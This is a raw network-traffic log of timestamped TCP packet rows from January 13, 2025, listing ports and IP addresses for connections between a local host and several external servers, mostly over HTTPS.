Jan 13, 2025 16:44:56.034509897 CET	49746	443	192.168.2.4	104.18.10.207
Jan 13, 2025 16:44:56.034539938 CET	443	49746	104.18.10.207	192.168.2.4
Jan 13, 2025 16:44:56.034564018 CET	49751	443	192.168.2.4	35.190.80.1
Jan 13, 2025 16:44:56.035056114 CET	49751	443	192.168.2.4	35.190.80.1
Jan 13, 2025 16:44:56.035065889 CET	443	49751	35.190.80.1	192.168.2.4
Jan 13, 2025 16:44:56.036459923 CET	49748	443	192.168.2.4	104.18.11.207
Jan 13, 2025 16:44:56.036468029 CET	49747	443	192.168.2.4	151.101.66.137
Jan 13, 2025 16:44:56.051466942 CET	443	49743	151.106.103.153	192.168.2.4
Jan 13, 2025 16:44:56.051491022 CET	443	49743	151.106.103.153	192.168.2.4
Jan 13, 2025 16:44:56.051543951 CET	49743	443	192.168.2.4	151.106.103.153
Jan 13, 2025 16:44:56.051552057 CET	443	49743	151.106.103.153	192.168.2.4
Jan 13, 2025 16:44:56.051568031 CET	49743	443	192.168.2.4	151.106.103.153
Jan 13, 2025 16:44:56.051604033 CET	49743	443	192.168.2.4	151.106.103.153
Jan 13, 2025 16:44:56.055484056 CET	443	49743	151.106.103.153	192.168.2.4
Jan 13, 2025 16:44:56.055511951 CET	443	49743	151.106.103.153	192.168.2.4
Jan 13, 2025 16:44:56.055569887 CET	49743	443	192.168.2.4	151.106.103.153
Jan 13, 2025 16:44:56.055576086 CET	443	49743	151.106.103.153	192.168.2.4
Jan 13, 2025 16:44:56.055608034 CET	49743	443	192.168.2.4	151.106.103.153
Jan 13, 2025 16:44:56.055624962 CET	49743	443	192.168.2.4	151.106.103.153
Jan 13, 2025 16:44:56.055661917 CET	443	49743	151.106.103.153	192.168.2.4
Jan 13, 2025 16:44:56.055689096 CET	443	49743	151.106.103.153	192.168.2.4
Jan 13, 2025 16:44:56.055742979 CET	49743	443	192.168.2.4	151.106.103.153
Jan 13, 2025 16:44:56.055747986 CET	443	49743	151.106.103.153	192.168.2.4
Jan 13, 2025 16:44:56.055795908 CET	49743	443	192.168.2.4	151.106.103.153
Jan 13, 2025 16:44:56.055802107 CET	443	49743	151.106.103.153	192.168.2.4
Jan 13, 2025 16:44:56.056025982 CET	443	49743	151.106.103.153	192.168.2.4
Jan 13, 2025 16:44:56.056051970 CET	443	49743	151.106.103.153	192.168.2.4
Jan 13, 2025 16:44:56.056077957 CET	49743	443	192.168.2.4	151.106.103.153
Jan 13, 2025 16:44:56.056082964 CET	443	49743	151.106.103.153	192.168.2.4
Jan 13, 2025 16:44:56.056113005 CET	49743	443	192.168.2.4	151.106.103.153
Jan 13, 2025 16:44:56.056123972 CET	49743	443	192.168.2.4	151.106.103.153
Jan 13, 2025 16:44:56.056150913 CET	443	49743	151.106.103.153	192.168.2.4
Jan 13, 2025 16:44:56.056169987 CET	443	49743	151.106.103.153	192.168.2.4
Jan 13, 2025 16:44:56.056205988 CET	49743	443	192.168.2.4	151.106.103.153
Jan 13, 2025 16:44:56.056210995 CET	443	49743	151.106.103.153	192.168.2.4
Jan 13, 2025 16:44:56.056235075 CET	49743	443	192.168.2.4	151.106.103.153
Jan 13, 2025 16:44:56.056246042 CET	49743	443	192.168.2.4	151.106.103.153
Jan 13, 2025 16:44:56.056548119 CET	443	49743	151.106.103.153	192.168.2.4
Jan 13, 2025 16:44:56.056571960 CET	443	49743	151.106.103.153	192.168.2.4
Jan 13, 2025 16:44:56.056605101 CET	49743	443	192.168.2.4	151.106.103.153
Jan 13, 2025 16:44:56.056610107 CET	443	49743	151.106.103.153	192.168.2.4
Jan 13, 2025 16:44:56.056641102 CET	49743	443	192.168.2.4	151.106.103.153
Jan 13, 2025 16:44:56.056653023 CET	49743	443	192.168.2.4	151.106.103.153
Jan 13, 2025 16:44:56.056721926 CET	443	49743	151.106.103.153	192.168.2.4
Jan 13, 2025 16:44:56.056750059 CET	443	49743	151.106.103.153	192.168.2.4
Jan 13, 2025 16:44:56.056777954 CET	49743	443	192.168.2.4	151.106.103.153
Jan 13, 2025 16:44:56.056782961 CET	443	49743	151.106.103.153	192.168.2.4
Jan 13, 2025 16:44:56.056813955 CET	49743	443	192.168.2.4	151.106.103.153
Jan 13, 2025 16:44:56.056823015 CET	49743	443	192.168.2.4	151.106.103.153
Jan 13, 2025 16:44:56.071449041 CET	443	49747	151.101.66.137	192.168.2.4
Jan 13, 2025 16:44:56.071542978 CET	443	49747	151.101.66.137	192.168.2.4
Jan 13, 2025 16:44:56.071576118 CET	443	49747	151.101.66.137	192.168.2.4
Jan 13, 2025 16:44:56.071616888 CET	443	49747	151.101.66.137	192.168.2.4
Jan 13, 2025 16:44:56.071636915 CET	49747	443	192.168.2.4	151.101.66.137
Jan 13, 2025 16:44:56.071645975 CET	443	49747	151.101.66.137	192.168.2.4
Jan 13, 2025 16:44:56.071655989 CET	443	49747	151.101.66.137	192.168.2.4
Jan 13, 2025 16:44:56.071659088 CET	49747	443	192.168.2.4	151.101.66.137
Jan 13, 2025 16:44:56.071727037 CET	443	49747	151.101.66.137	192.168.2.4
Jan 13, 2025 16:44:56.071783066 CET	49747	443	192.168.2.4	151.101.66.137
Jan 13, 2025 16:44:56.071800947 CET	443	49747	151.101.66.137	192.168.2.4
Jan 13, 2025 16:44:56.071846008 CET	443	49747	151.101.66.137	192.168.2.4
Jan 13, 2025 16:44:56.071850061 CET	49747	443	192.168.2.4	151.101.66.137
Jan 13, 2025 16:44:56.071867943 CET	443	49747	151.101.66.137	192.168.2.4
Jan 13, 2025 16:44:56.071923971 CET	49747	443	192.168.2.4	151.101.66.137
Jan 13, 2025 16:44:56.071933985 CET	443	49747	151.101.66.137	192.168.2.4
Jan 13, 2025 16:44:56.073302031 CET	443	49747	151.101.66.137	192.168.2.4
Jan 13, 2025 16:44:56.073345900 CET	443	49747	151.101.66.137	192.168.2.4
Jan 13, 2025 16:44:56.073367119 CET	49747	443	192.168.2.4	151.101.66.137
Jan 13, 2025 16:44:56.073379040 CET	443	49747	151.101.66.137	192.168.2.4
Jan 13, 2025 16:44:56.073425055 CET	443	49747	151.101.66.137	192.168.2.4
Jan 13, 2025 16:44:56.073445082 CET	49747	443	192.168.2.4	151.101.66.137
Jan 13, 2025 16:44:56.073457003 CET	443	49747	151.101.66.137	192.168.2.4
Jan 13, 2025 16:44:56.073501110 CET	443	49747	151.101.66.137	192.168.2.4
Jan 13, 2025 16:44:56.073544025 CET	443	49747	151.101.66.137	192.168.2.4
Jan 13, 2025 16:44:56.073550940 CET	49747	443	192.168.2.4	151.101.66.137
Jan 13, 2025 16:44:56.073568106 CET	443	49747	151.101.66.137	192.168.2.4
Jan 13, 2025 16:44:56.073607922 CET	443	49747	151.101.66.137	192.168.2.4
Jan 13, 2025 16:44:56.073616982 CET	49747	443	192.168.2.4	151.101.66.137
Jan 13, 2025 16:44:56.073632956 CET	443	49747	151.101.66.137	192.168.2.4
Jan 13, 2025 16:44:56.073661089 CET	49747	443	192.168.2.4	151.101.66.137
Jan 13, 2025 16:44:56.074096918 CET	443	49747	151.101.66.137	192.168.2.4
Jan 13, 2025 16:44:56.074145079 CET	49747	443	192.168.2.4	151.101.66.137
Jan 13, 2025 16:44:56.074157000 CET	443	49747	151.101.66.137	192.168.2.4
Jan 13, 2025 16:44:56.078747988 CET	443	49748	104.18.11.207	192.168.2.4
Jan 13, 2025 16:44:56.078933954 CET	443	49748	104.18.11.207	192.168.2.4
Jan 13, 2025 16:44:56.079085112 CET	443	49748	104.18.11.207	192.168.2.4
Jan 13, 2025 16:44:56.079173088 CET	443	49748	104.18.11.207	192.168.2.4
Jan 13, 2025 16:44:56.079222918 CET	49748	443	192.168.2.4	104.18.11.207
Jan 13, 2025 16:44:56.079222918 CET	49748	443	192.168.2.4	104.18.11.207
Jan 13, 2025 16:44:56.079231024 CET	443	49748	104.18.11.207	192.168.2.4
Jan 13, 2025 16:44:56.079355955 CET	443	49748	104.18.11.207	192.168.2.4
Jan 13, 2025 16:44:56.079412937 CET	49748	443	192.168.2.4	104.18.11.207
Jan 13, 2025 16:44:56.079417944 CET	443	49748	104.18.11.207	192.168.2.4
Jan 13, 2025 16:44:56.079513073 CET	443	49748	104.18.11.207	192.168.2.4
Jan 13, 2025 16:44:56.079612970 CET	49748	443	192.168.2.4	104.18.11.207
Jan 13, 2025 16:44:56.079617977 CET	443	49748	104.18.11.207	192.168.2.4
Jan 13, 2025 16:44:56.083477020 CET	443	49748	104.18.11.207	192.168.2.4
Jan 13, 2025 16:44:56.083559036 CET	443	49748	104.18.11.207	192.168.2.4
Jan 13, 2025 16:44:56.083659887 CET	49748	443	192.168.2.4	104.18.11.207
Jan 13, 2025 16:44:56.083667994 CET	443	49748	104.18.11.207	192.168.2.4
Jan 13, 2025 16:44:56.084270000 CET	49748	443	192.168.2.4	104.18.11.207
Jan 13, 2025 16:44:56.100714922 CET	443	49743	151.106.103.153	192.168.2.4
Jan 13, 2025 16:44:56.100735903 CET	443	49743	151.106.103.153	192.168.2.4
Jan 13, 2025 16:44:56.100781918 CET	49743	443	192.168.2.4	151.106.103.153
Jan 13, 2025 16:44:56.100789070 CET	443	49743	151.106.103.153	192.168.2.4
Jan 13, 2025 16:44:56.100824118 CET	49743	443	192.168.2.4	151.106.103.153
Jan 13, 2025 16:44:56.100836039 CET	49743	443	192.168.2.4	151.106.103.153
Jan 13, 2025 16:44:56.116632938 CET	49747	443	192.168.2.4	151.101.66.137
Jan 13, 2025 16:44:56.116647959 CET	443	49747	151.101.66.137	192.168.2.4
Jan 13, 2025 16:44:56.141813040 CET	443	49743	151.106.103.153	192.168.2.4
Jan 13, 2025 16:44:56.141833067 CET	443	49743	151.106.103.153	192.168.2.4
Jan 13, 2025 16:44:56.141874075 CET	49743	443	192.168.2.4	151.106.103.153
Jan 13, 2025 16:44:56.141880035 CET	443	49743	151.106.103.153	192.168.2.4
Jan 13, 2025 16:44:56.141908884 CET	49743	443	192.168.2.4	151.106.103.153
Jan 13, 2025 16:44:56.141923904 CET	49743	443	192.168.2.4	151.106.103.153
Jan 13, 2025 16:44:56.142129898 CET	443	49743	151.106.103.153	192.168.2.4
Jan 13, 2025 16:44:56.142148972 CET	443	49743	151.106.103.153	192.168.2.4
Jan 13, 2025 16:44:56.142251015 CET	49743	443	192.168.2.4	151.106.103.153
Jan 13, 2025 16:44:56.142257929 CET	443	49743	151.106.103.153	192.168.2.4
Jan 13, 2025 16:44:56.142419100 CET	49743	443	192.168.2.4	151.106.103.153
Jan 13, 2025 16:44:56.142478943 CET	443	49743	151.106.103.153	192.168.2.4
Jan 13, 2025 16:44:56.142498016 CET	443	49743	151.106.103.153	192.168.2.4
Jan 13, 2025 16:44:56.142538071 CET	49743	443	192.168.2.4	151.106.103.153
Jan 13, 2025 16:44:56.142544031 CET	443	49743	151.106.103.153	192.168.2.4
Jan 13, 2025 16:44:56.142740965 CET	49743	443	192.168.2.4	151.106.103.153
Jan 13, 2025 16:44:56.142920971 CET	443	49743	151.106.103.153	192.168.2.4
Jan 13, 2025 16:44:56.142941952 CET	443	49743	151.106.103.153	192.168.2.4
Jan 13, 2025 16:44:56.142981052 CET	49743	443	192.168.2.4	151.106.103.153
Jan 13, 2025 16:44:56.142986059 CET	443	49743	151.106.103.153	192.168.2.4
Jan 13, 2025 16:44:56.143011093 CET	49743	443	192.168.2.4	151.106.103.153
Jan 13, 2025 16:44:56.143021107 CET	49743	443	192.168.2.4	151.106.103.153
Jan 13, 2025 16:44:56.143433094 CET	443	49743	151.106.103.153	192.168.2.4
Jan 13, 2025 16:44:56.143450975 CET	443	49743	151.106.103.153	192.168.2.4
Jan 13, 2025 16:44:56.143484116 CET	49743	443	192.168.2.4	151.106.103.153
Jan 13, 2025 16:44:56.143488884 CET	443	49743	151.106.103.153	192.168.2.4
Jan 13, 2025 16:44:56.143520117 CET	49743	443	192.168.2.4	151.106.103.153
Jan 13, 2025 16:44:56.143532991 CET	49743	443	192.168.2.4	151.106.103.153
Jan 13, 2025 16:44:56.144089937 CET	443	49743	151.106.103.153	192.168.2.4
Jan 13, 2025 16:44:56.144109964 CET	443	49743	151.106.103.153	192.168.2.4
Jan 13, 2025 16:44:56.144143105 CET	49743	443	192.168.2.4	151.106.103.153
Jan 13, 2025 16:44:56.144148111 CET	443	49743	151.106.103.153	192.168.2.4
Jan 13, 2025 16:44:56.144175053 CET	49743	443	192.168.2.4	151.106.103.153
Jan 13, 2025 16:44:56.144187927 CET	49743	443	192.168.2.4	151.106.103.153
Jan 13, 2025 16:44:56.144303083 CET	443	49743	151.106.103.153	192.168.2.4
Jan 13, 2025 16:44:56.144354105 CET	443	49743	151.106.103.153	192.168.2.4
Jan 13, 2025 16:44:56.144364119 CET	49743	443	192.168.2.4	151.106.103.153
Jan 13, 2025 16:44:56.144390106 CET	443	49743	151.106.103.153	192.168.2.4
Jan 13, 2025 16:44:56.144426107 CET	443	49743	151.106.103.153	192.168.2.4
Jan 13, 2025 16:44:56.144476891 CET	49743	443	192.168.2.4	151.106.103.153
Jan 13, 2025 16:44:56.144618988 CET	49743	443	192.168.2.4	151.106.103.153
Jan 13, 2025 16:44:56.144632101 CET	443	49743	151.106.103.153	192.168.2.4
Jan 13, 2025 16:44:56.163321972 CET	443	49747	151.101.66.137	192.168.2.4
Jan 13, 2025 16:44:56.163331032 CET	443	49747	151.101.66.137	192.168.2.4
Jan 13, 2025 16:44:56.163378000 CET	443	49747	151.101.66.137	192.168.2.4
Jan 13, 2025 16:44:56.163404942 CET	443	49747	151.101.66.137	192.168.2.4
Jan 13, 2025 16:44:56.163423061 CET	443	49747	151.101.66.137	192.168.2.4
Jan 13, 2025 16:44:56.163444042 CET	49747	443	192.168.2.4	151.101.66.137
Jan 13, 2025 16:44:56.163444042 CET	49747	443	192.168.2.4	151.101.66.137
Jan 13, 2025 16:44:56.163465977 CET	443	49747	151.101.66.137	192.168.2.4
Jan 13, 2025 16:44:56.163497925 CET	49747	443	192.168.2.4	151.101.66.137
Jan 13, 2025 16:44:56.163497925 CET	49747	443	192.168.2.4	151.101.66.137
Jan 13, 2025 16:44:56.163515091 CET	443	49747	151.101.66.137	192.168.2.4
Jan 13, 2025 16:44:56.163532019 CET	443	49747	151.101.66.137	192.168.2.4
Jan 13, 2025 16:44:56.163561106 CET	49747	443	192.168.2.4	151.101.66.137
Jan 13, 2025 16:44:56.163561106 CET	49747	443	192.168.2.4	151.101.66.137
Jan 13, 2025 16:44:56.163577080 CET	443	49747	151.101.66.137	192.168.2.4
Jan 13, 2025 16:44:56.163605928 CET	49747	443	192.168.2.4	151.101.66.137
Jan 13, 2025 16:44:56.163624048 CET	49747	443	192.168.2.4	151.101.66.137
Jan 13, 2025 16:44:56.164040089 CET	49747	443	192.168.2.4	151.101.66.137
Jan 13, 2025 16:44:56.164072037 CET	443	49747	151.101.66.137	192.168.2.4
Jan 13, 2025 16:44:56.166636944 CET	443	49748	104.18.11.207	192.168.2.4
Jan 13, 2025 16:44:56.166682959 CET	443	49748	104.18.11.207	192.168.2.4
Jan 13, 2025 16:44:56.166709900 CET	443	49748	104.18.11.207	192.168.2.4
Jan 13, 2025 16:44:56.166734934 CET	443	49748	104.18.11.207	192.168.2.4
Jan 13, 2025 16:44:56.166759968 CET	443	49748	104.18.11.207	192.168.2.4
Jan 13, 2025 16:44:56.166759968 CET	49748	443	192.168.2.4	104.18.11.207
Jan 13, 2025 16:44:56.166780949 CET	443	49748	104.18.11.207	192.168.2.4
Jan 13, 2025 16:44:56.166824102 CET	49748	443	192.168.2.4	104.18.11.207
Jan 13, 2025 16:44:56.166824102 CET	49748	443	192.168.2.4	104.18.11.207
Jan 13, 2025 16:44:56.166834116 CET	443	49748	104.18.11.207	192.168.2.4
Jan 13, 2025 16:44:56.166872978 CET	443	49748	104.18.11.207	192.168.2.4
Jan 13, 2025 16:44:56.166903019 CET	443	49748	104.18.11.207	192.168.2.4
Jan 13, 2025 16:44:56.166925907 CET	443	49748	104.18.11.207	192.168.2.4
Jan 13, 2025 16:44:56.166949987 CET	443	49748	104.18.11.207	192.168.2.4
Jan 13, 2025 16:44:56.166974068 CET	49748	443	192.168.2.4	104.18.11.207
Jan 13, 2025 16:44:56.166982889 CET	443	49748	104.18.11.207	192.168.2.4
Jan 13, 2025 16:44:56.167023897 CET	49748	443	192.168.2.4	104.18.11.207
Jan 13, 2025 16:44:56.167023897 CET	49748	443	192.168.2.4	104.18.11.207
Jan 13, 2025 16:44:56.167907953 CET	443	49748	104.18.11.207	192.168.2.4
Jan 13, 2025 16:44:56.167938948 CET	443	49748	104.18.11.207	192.168.2.4
Jan 13, 2025 16:44:56.167960882 CET	443	49748	104.18.11.207	192.168.2.4
Jan 13, 2025 16:44:56.167988062 CET	443	49748	104.18.11.207	192.168.2.4
Jan 13, 2025 16:44:56.167999983 CET	49748	443	192.168.2.4	104.18.11.207
Jan 13, 2025 16:44:56.168011904 CET	443	49748	104.18.11.207	192.168.2.4
Jan 13, 2025 16:44:56.168023109 CET	443	49748	104.18.11.207	192.168.2.4
Jan 13, 2025 16:44:56.168042898 CET	49748	443	192.168.2.4	104.18.11.207
Jan 13, 2025 16:44:56.168065071 CET	49748	443	192.168.2.4	104.18.11.207
Jan 13, 2025 16:44:56.170964003 CET	443	49748	104.18.11.207	192.168.2.4
Jan 13, 2025 16:44:56.170994997 CET	443	49748	104.18.11.207	192.168.2.4
Jan 13, 2025 16:44:56.171175957 CET	49748	443	192.168.2.4	104.18.11.207
Jan 13, 2025 16:44:56.171185970 CET	443	49748	104.18.11.207	192.168.2.4
Jan 13, 2025 16:44:56.208010912 CET	443	49748	104.18.11.207	192.168.2.4
Jan 13, 2025 16:44:56.208484888 CET	49748	443	192.168.2.4	104.18.11.207
Jan 13, 2025 16:44:56.208492994 CET	443	49748	104.18.11.207	192.168.2.4
Jan 13, 2025 16:44:56.254484892 CET	443	49748	104.18.11.207	192.168.2.4
Jan 13, 2025 16:44:56.254502058 CET	443	49748	104.18.11.207	192.168.2.4
Jan 13, 2025 16:44:56.254525900 CET	443	49748	104.18.11.207	192.168.2.4
Jan 13, 2025 16:44:56.254587889 CET	49748	443	192.168.2.4	104.18.11.207
Jan 13, 2025 16:44:56.254591942 CET	443	49748	104.18.11.207	192.168.2.4
Jan 13, 2025 16:44:56.254602909 CET	49748	443	192.168.2.4	104.18.11.207
Jan 13, 2025 16:44:56.254637003 CET	49748	443	192.168.2.4	104.18.11.207
Jan 13, 2025 16:44:56.255330086 CET	49748	443	192.168.2.4	104.18.11.207
Jan 13, 2025 16:44:56.255340099 CET	443	49748	104.18.11.207	192.168.2.4
Jan 13, 2025 16:44:56.587445021 CET	443	49751	35.190.80.1	192.168.2.4
Jan 13, 2025 16:44:56.587749004 CET	49751	443	192.168.2.4	35.190.80.1
Jan 13, 2025 16:44:56.587758064 CET	443	49751	35.190.80.1	192.168.2.4
Jan 13, 2025 16:44:56.589371920 CET	443	49751	35.190.80.1	192.168.2.4
Jan 13, 2025 16:44:56.589437962 CET	49751	443	192.168.2.4	35.190.80.1
Jan 13, 2025 16:44:56.590471983 CET	49751	443	192.168.2.4	35.190.80.1
Jan 13, 2025 16:44:56.590564013 CET	443	49751	35.190.80.1	192.168.2.4
Jan 13, 2025 16:44:56.590904951 CET	49751	443	192.168.2.4	35.190.80.1
Jan 13, 2025 16:44:56.590923071 CET	443	49751	35.190.80.1	192.168.2.4
Jan 13, 2025 16:44:56.635539055 CET	49751	443	192.168.2.4	35.190.80.1
Jan 13, 2025 16:44:56.730842113 CET	443	49751	35.190.80.1	192.168.2.4
Jan 13, 2025 16:44:56.730946064 CET	443	49751	35.190.80.1	192.168.2.4
Jan 13, 2025 16:44:56.731103897 CET	49751	443	192.168.2.4	35.190.80.1
Jan 13, 2025 16:44:56.734915972 CET	49751	443	192.168.2.4	35.190.80.1
Jan 13, 2025 16:44:56.734931946 CET	443	49751	35.190.80.1	192.168.2.4
Jan 13, 2025 16:44:56.735685110 CET	49752	443	192.168.2.4	35.190.80.1
Jan 13, 2025 16:44:56.735726118 CET	443	49752	35.190.80.1	192.168.2.4
Jan 13, 2025 16:44:56.735841036 CET	49752	443	192.168.2.4	35.190.80.1
Jan 13, 2025 16:44:56.736058950 CET	49752	443	192.168.2.4	35.190.80.1
Jan 13, 2025 16:44:56.736074924 CET	443	49752	35.190.80.1	192.168.2.4
Jan 13, 2025 16:44:57.172317982 CET	49754	443	192.168.2.4	142.250.185.228
Jan 13, 2025 16:44:57.172365904 CET	443	49754	142.250.185.228	192.168.2.4
Jan 13, 2025 16:44:57.172431946 CET	49754	443	192.168.2.4	142.250.185.228
Jan 13, 2025 16:44:57.172610044 CET	49754	443	192.168.2.4	142.250.185.228
Jan 13, 2025 16:44:57.172629118 CET	443	49754	142.250.185.228	192.168.2.4
Jan 13, 2025 16:44:57.198295116 CET	443	49752	35.190.80.1	192.168.2.4
Jan 13, 2025 16:44:57.198517084 CET	49752	443	192.168.2.4	35.190.80.1
Jan 13, 2025 16:44:57.198533058 CET	443	49752	35.190.80.1	192.168.2.4
Jan 13, 2025 16:44:57.198838949 CET	443	49752	35.190.80.1	192.168.2.4
Jan 13, 2025 16:44:57.199193954 CET	49752	443	192.168.2.4	35.190.80.1
Jan 13, 2025 16:44:57.199254990 CET	443	49752	35.190.80.1	192.168.2.4
Jan 13, 2025 16:44:57.199305058 CET	49752	443	192.168.2.4	35.190.80.1
Jan 13, 2025 16:44:57.240394115 CET	49752	443	192.168.2.4	35.190.80.1
Jan 13, 2025 16:44:57.240407944 CET	443	49752	35.190.80.1	192.168.2.4
Jan 13, 2025 16:44:57.327419043 CET	443	49752	35.190.80.1	192.168.2.4
Jan 13, 2025 16:44:57.327476978 CET	443	49752	35.190.80.1	192.168.2.4
Jan 13, 2025 16:44:57.327577114 CET	49752	443	192.168.2.4	35.190.80.1
Jan 13, 2025 16:44:57.328176975 CET	49752	443	192.168.2.4	35.190.80.1
Jan 13, 2025 16:44:57.328197002 CET	443	49752	35.190.80.1	192.168.2.4
Jan 13, 2025 16:44:57.509551048 CET	80	49750	94.154.117.206	192.168.2.4
Jan 13, 2025 16:44:57.555238962 CET	49756	443	192.168.2.4	152.199.21.175
Jan 13, 2025 16:44:57.555284023 CET	443	49756	152.199.21.175	192.168.2.4
Jan 13, 2025 16:44:57.555350065 CET	49756	443	192.168.2.4	152.199.21.175
Jan 13, 2025 16:44:57.555531979 CET	49756	443	192.168.2.4	152.199.21.175
Jan 13, 2025 16:44:57.555542946 CET	443	49756	152.199.21.175	192.168.2.4
Jan 13, 2025 16:44:57.563008070 CET	49750	80	192.168.2.4	94.154.117.206
Jan 13, 2025 16:44:57.572930098 CET	49757	80	192.168.2.4	94.154.117.206
Jan 13, 2025 16:44:57.577563047 CET	49750	80	192.168.2.4	94.154.117.206
Jan 13, 2025 16:44:57.577807903 CET	80	49757	94.154.117.206	192.168.2.4
Jan 13, 2025 16:44:57.577956915 CET	49757	80	192.168.2.4	94.154.117.206
Jan 13, 2025 16:44:57.578557014 CET	49757	80	192.168.2.4	94.154.117.206
Jan 13, 2025 16:44:57.582391977 CET	80	49750	94.154.117.206	192.168.2.4
Jan 13, 2025 16:44:57.583343029 CET	80	49757	94.154.117.206	192.168.2.4
Jan 13, 2025 16:44:57.857275009 CET	443	49754	142.250.185.228	192.168.2.4
Jan 13, 2025 16:44:57.857594967 CET	49754	443	192.168.2.4	142.250.185.228
Jan 13, 2025 16:44:57.857616901 CET	443	49754	142.250.185.228	192.168.2.4
Jan 13, 2025 16:44:57.859241009 CET	443	49754	142.250.185.228	192.168.2.4
Jan 13, 2025 16:44:57.859307051 CET	49754	443	192.168.2.4	142.250.185.228
Jan 13, 2025 16:44:57.860172033 CET	49754	443	192.168.2.4	142.250.185.228
Jan 13, 2025 16:44:57.860268116 CET	443	49754	142.250.185.228	192.168.2.4
Jan 13, 2025 16:44:57.912688017 CET	49754	443	192.168.2.4	142.250.185.228
Jan 13, 2025 16:44:57.912698984 CET	443	49754	142.250.185.228	192.168.2.4
Jan 13, 2025 16:44:57.959142923 CET	49754	443	192.168.2.4	142.250.185.228
Jan 13, 2025 16:44:58.259398937 CET	80	49750	94.154.117.206	192.168.2.4
Jan 13, 2025 16:44:58.303667068 CET	49750	80	192.168.2.4	94.154.117.206
Jan 13, 2025 16:44:58.369712114 CET	443	49756	152.199.21.175	192.168.2.4
Jan 13, 2025 16:44:58.370217085 CET	49756	443	192.168.2.4	152.199.21.175
Jan 13, 2025 16:44:58.370229959 CET	443	49756	152.199.21.175	192.168.2.4
Jan 13, 2025 16:44:58.371654987 CET	443	49756	152.199.21.175	192.168.2.4
Jan 13, 2025 16:44:58.371726036 CET	49756	443	192.168.2.4	152.199.21.175
Jan 13, 2025 16:44:58.372838020 CET	49756	443	192.168.2.4	152.199.21.175
Jan 13, 2025 16:44:58.372916937 CET	443	49756	152.199.21.175	192.168.2.4
Jan 13, 2025 16:44:58.373065948 CET	49756	443	192.168.2.4	152.199.21.175
Jan 13, 2025 16:44:58.412775040 CET	49756	443	192.168.2.4	152.199.21.175
Jan 13, 2025 16:44:58.412781000 CET	443	49756	152.199.21.175	192.168.2.4
Jan 13, 2025 16:44:58.460278988 CET	49756	443	192.168.2.4	152.199.21.175
Jan 13, 2025 16:44:58.627651930 CET	443	49756	152.199.21.175	192.168.2.4
Jan 13, 2025 16:44:58.627778053 CET	443	49756	152.199.21.175	192.168.2.4
Jan 13, 2025 16:44:58.627846003 CET	49756	443	192.168.2.4	152.199.21.175
Jan 13, 2025 16:44:58.627860069 CET	443	49756	152.199.21.175	192.168.2.4
Jan 13, 2025 16:44:58.627923965 CET	443	49756	152.199.21.175	192.168.2.4
Jan 13, 2025 16:44:58.628000975 CET	49756	443	192.168.2.4	152.199.21.175
Jan 13, 2025 16:44:58.628691912 CET	49756	443	192.168.2.4	152.199.21.175
Jan 13, 2025 16:44:58.628705025 CET	443	49756	152.199.21.175	192.168.2.4
Jan 13, 2025 16:44:58.638001919 CET	80	49757	94.154.117.206	192.168.2.4
Jan 13, 2025 16:44:58.642968893 CET	49763	443	192.168.2.4	152.199.21.175
Jan 13, 2025 16:44:58.643068075 CET	443	49763	152.199.21.175	192.168.2.4
Jan 13, 2025 16:44:58.643162012 CET	49763	443	192.168.2.4	152.199.21.175
Jan 13, 2025 16:44:58.643346071 CET	49763	443	192.168.2.4	152.199.21.175
Jan 13, 2025 16:44:58.643381119 CET	443	49763	152.199.21.175	192.168.2.4
Jan 13, 2025 16:44:58.649548054 CET	49757	80	192.168.2.4	94.154.117.206
Jan 13, 2025 16:44:58.654411077 CET	80	49757	94.154.117.206	192.168.2.4
Jan 13, 2025 16:44:58.867306948 CET	80	49757	94.154.117.206	192.168.2.4
Jan 13, 2025 16:44:58.912221909 CET	49757	80	192.168.2.4	94.154.117.206
Jan 13, 2025 16:44:59.478862047 CET	443	49763	152.199.21.175	192.168.2.4
Jan 13, 2025 16:44:59.521375895 CET	49763	443	192.168.2.4	152.199.21.175
Jan 13, 2025 16:44:59.664700031 CET	49763	443	192.168.2.4	152.199.21.175
Jan 13, 2025 16:44:59.664746046 CET	443	49763	152.199.21.175	192.168.2.4
Jan 13, 2025 16:44:59.668643951 CET	443	49763	152.199.21.175	192.168.2.4
Jan 13, 2025 16:44:59.668760061 CET	49763	443	192.168.2.4	152.199.21.175
Jan 13, 2025 16:44:59.731945992 CET	49763	443	192.168.2.4	152.199.21.175
Jan 13, 2025 16:44:59.732300997 CET	443	49763	152.199.21.175	192.168.2.4
Jan 13, 2025 16:44:59.732455969 CET	49763	443	192.168.2.4	152.199.21.175
Jan 13, 2025 16:44:59.732492924 CET	443	49763	152.199.21.175	192.168.2.4
Jan 13, 2025 16:44:59.787061930 CET	49763	443	192.168.2.4	152.199.21.175
Jan 13, 2025 16:44:59.916909933 CET	443	49763	152.199.21.175	192.168.2.4
Jan 13, 2025 16:44:59.917048931 CET	443	49763	152.199.21.175	192.168.2.4
Jan 13, 2025 16:44:59.917112112 CET	49763	443	192.168.2.4	152.199.21.175
Jan 13, 2025 16:44:59.917155981 CET	443	49763	152.199.21.175	192.168.2.4
Jan 13, 2025 16:44:59.917201042 CET	443	49763	152.199.21.175	192.168.2.4
Jan 13, 2025 16:44:59.917258024 CET	49763	443	192.168.2.4	152.199.21.175
Jan 13, 2025 16:44:59.921120882 CET	49763	443	192.168.2.4	152.199.21.175
Jan 13, 2025 16:44:59.921158075 CET	443	49763	152.199.21.175	192.168.2.4
Jan 13, 2025 16:45:00.379705906 CET	80	49750	94.154.117.206	192.168.2.4
Jan 13, 2025 16:45:00.379898071 CET	49750	80	192.168.2.4	94.154.117.206
Jan 13, 2025 16:45:00.867873907 CET	80	49757	94.154.117.206	192.168.2.4
Jan 13, 2025 16:45:00.868062019 CET	49757	80	192.168.2.4	94.154.117.206
Jan 13, 2025 16:45:00.905745983 CET	49750	80	192.168.2.4	94.154.117.206
Jan 13, 2025 16:45:00.905785084 CET	49757	80	192.168.2.4	94.154.117.206
Jan 13, 2025 16:45:00.910674095 CET	80	49750	94.154.117.206	192.168.2.4
Jan 13, 2025 16:45:00.910689116 CET	80	49757	94.154.117.206	192.168.2.4
Jan 13, 2025 16:45:07.751858950 CET	443	49754	142.250.185.228	192.168.2.4
Jan 13, 2025 16:45:07.752002954 CET	443	49754	142.250.185.228	192.168.2.4
Jan 13, 2025 16:45:07.752058983 CET	49754	443	192.168.2.4	142.250.185.228
Jan 13, 2025 16:45:08.561052084 CET	49754	443	192.168.2.4	142.250.185.228
Jan 13, 2025 16:45:08.561084032 CET	443	49754	142.250.185.228	192.168.2.4
Jan 13, 2025 16:45:08.561448097 CET	49773	80	192.168.2.4	94.154.117.206
